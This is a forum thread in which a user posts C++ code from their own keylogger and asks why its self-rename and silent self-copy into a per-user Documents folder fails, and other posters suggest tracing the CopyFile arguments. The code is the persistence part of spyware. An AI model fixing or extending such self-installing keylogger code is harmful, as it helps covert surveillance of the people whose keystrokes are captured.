Rename and Copy

I am programming this keylogger program and I want it to copy itself to some path I specified. I also want the program to rename itself back to default name if in some case the name changed. For testing the program, what I did is rename the program into something other than the default name and changed the directory of the program at the same time. What should happen is that the program's name gets back to default and the program gets copied to the default path I specified. What actually happens is that the program gets renamed but it doesn't get copied. So help :)

Here's the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
bool mainCopy ()
{

	// get path and file name of this .exe
    char szSource[MAX_PATH] = {0};
    GetModuleFileName (0, szSource, MAX_PATH);
	

    // get file name from path
	char * strFileName= PathFindFileName(szSource);
    

	// make sure filename is "keylogger test 2"
	char name [MAX_PATH]= "keylogger test 2.exe";
	if(rename (strFileName, name )==-1)
	{
		cout<<"error";
	}
	
	

	// get path to 'keylogger' folder
    TCHAR pcName [250]; 
	DWORD size = 20;
	GetUserName(pcName,&size);//Gets username.
	char directory [300];
	DWORD sizeV=300;
	sprintf(directory, "C:\\Users\\%s\\Documents\\keylogger\\%s\\keylogger test 2.exe", pcName, pcName);

	// update name of the old path to "keylogger test 2" before copying
	GetModuleFileName (0, szSource, MAX_PATH);
	
	strFileName = PathFindFileName(szSource);
   // fill FileOp structure (for copying a file)
   SHFILEOPSTRUCT fo = {0};
   fo.hwnd = NULL;
   fo.pFrom = szSource;
   fo.pTo = directory;
   fo.wFunc = FO_COPY;
   fo.fFlags = FOF_NOCONFIRMATION|FOF_SILENT;

   // if file isn't already there,
   // do file operation (copy)
   if (!PathFileExists(directory))
   {
      SHFileOperation(&fo);
	  return true;
   }
   else
   {
	   return false;
   }
Still, same problem...
New code here:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
bool mainCopy ()
{

	// get path and file name of this .exe
    char szSource[MAX_PATH] = {0};
    GetModuleFileName (0, szSource, MAX_PATH);
	

    // get file name from path
	char * strFileName= PathFindFileName(szSource);
    

	// make sure filename is "keylogger test 2"
	char name [MAX_PATH]= "keylogger test 2.exe";
	if(rename (strFileName, name )==-1)
	{
		cout<<"error";
	}
	
	

	// get path to 'keylogger' folder
    TCHAR pcName [250]; 
	DWORD size = 20;
	GetUserName(pcName,&size);//Gets username.
	char directory [300];
	DWORD sizeV=300;
	sprintf(directory, "C:\\Users\\%s\\Documents\\keylogger\\%s\\keylogger test 2.exe", pcName, pcName);

	// update name of the old path to "keylogger test 2" before copying
	GetModuleFileName (0, szSource, MAX_PATH);
	
	CopyFile(szSource, directory, true); 
	return 1;
}
What values are you passing to CopyFile?
They're in the code above^^
How do you expect to debug a program if you can't be bothered to trace what it's doing?
It's a keylogger. Do you want the full code? Last time I put the full code nobody bothered that's why I didn't. Though I assure you the defect is in this function not any other one.
You don't need to post more code. But you're saying the file copy is failing, but you don't know what's being passed to copy. If you logged those values, it might be apparent why the copy is failing.
Topic archived. No new replies allowed.